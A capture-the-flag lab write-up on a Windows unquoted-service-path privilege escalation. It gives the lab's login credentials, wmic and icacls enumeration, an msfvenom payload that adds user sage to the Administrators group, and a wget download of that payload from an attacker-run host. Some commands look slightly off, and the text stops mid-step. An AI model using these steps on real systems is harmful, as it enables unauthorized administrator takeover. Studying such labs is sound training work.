

Quotient

Instructions

Grammar is important. Don't believe me? Just see what happens when you forget punctuation.

Access the machine using RDP with the following credentials:

Username: sage

Password: gr33ntHEphgK2&V

Please allow 4 to 5 minutes for the VM to boot.

Overview Knownledge

Unquoted Service

An unquoted service path vulnerability is where you have a path to a service executable and the folder names along that path have spaces in them without quotations.

When a service points to an executable in a path that has either no spaces or that does have spaces but is surrounded with quotes, the service will ride the path directly to the executable and start as intended. For example: C:\temp\service.exe and "C:\temp folder\service.exe" are correctly configured and will execute service.exe.

Enumeration

After connect to the target machine, open the **terminal** and find the **unquoted service** on the machine

```
C:\Users\Sage>wmic service get name,startmode, pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
```

Name	PathName	StartMode
Development Service	C:\Program Files\Development Files\Devservice Files\Service.exe	Auto
LSM		Unknown
NetSetupSvc		Unknown

The windows will try to execute:

- C:\Program Files\
- C:\Program Files\Development Files\
- C:\Program Files\Development Files\Devservice Files\
- C:\Program Files\Development Files\Devservice Files\Service.exe

If we have permissions to write in any of the **three folders** prior to the actual executable location, then we can craft an executable and name it based off the folder name in the path.

Exploit

Check write permission

```
C:\Users\Sage>icacls "C:\Program Files\Development Files" | findstr "Users"
BUILTIN\Users:(W)
BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
```

```
C:\Users\Sage>icacls "C:\Program Files\Development Files\Devservice Files" | findstr "User
s"

BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
```

icacls: Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.

The directory Development Files which contains the sub-directory Devservice Files is writable

→ A **payload** could be created at this place to exploit the machine

Create payload

Verify the current user sage is in the users Group:

```
C:\Users\Sage>net user sage | findstr "Group"

Local Group Memberships *Remote Desktop Users *Users

Global Group memberships *None
```

On the local machine, use msfvenom to create a payload which will add the current user to **Local Admin Group**:

```
msfvenom -p windows/exec CMD='net localgroup administrators user sage /add' -f exe-service -o Devservice.exe
```

Then, transfer the payload using wget on target machine and open the listener on local machine with python3 -m http.server 80

```
PS C:\Users\Sage> wget http://10.8.97.213:80/Devservice.exe -O Devservice.exe
PS C:\Users\Sage> ls

Directory: C:\Users\Sage
```

Mode	LastWriteTime		Length	Name	
d-r	8/1/2023	1:27 PM		3D Objects	
d-r	8/1/2023	1:27 PM		Contacts	
d-r	8/1/2023	1:27 PM		Desktop	
d-r	8/1/2023	1:27 PM		Documents	
d-r	8/1/2023	1:27 PM		Downloads	
d-r	8/1/2023	1:27 PM		Favorites	
d-r	8/1/2023	1:27 PM		Links	
d-r	8/1/2023	1:27 PM		Music	
d-r	8/1/2023	1:27 PM		Pictures	
d-r	8/1/2023	1:27 PM		Saved Games	
d-r	8/1/2023	1:27 PM		Searches	
d-r	8/1/2023	1:27 PM		Videos	
-a	8/1/2023	1:29 PM	15872	Devservice.exe	

Move the transferred payload to the vulnerable path:

Unfortunately, user sage does not have permission to manually start the service because its StartMode is Auto (Result from Enumeration step)

```
C:\Users\Sage>sc start "Development Service"
[SC] StartService: OpenService FAILED 5:
Access is denied.
```

So we have to restart (reboot) the machine and wait for it to **auto start** the service when booting into the system.

After that, verify the user sage is now in the **Local Admin Group**:

```
C:\Users\Sage>net user sage | findstr "Group"

Local Group Memberships *Administrators *Remote Desktop Users

Global Group memberships *None
```

The system still does not allow us to access the **Administrator** directory through the terminal from the current path. **File Explorer** is the only way in this situation:

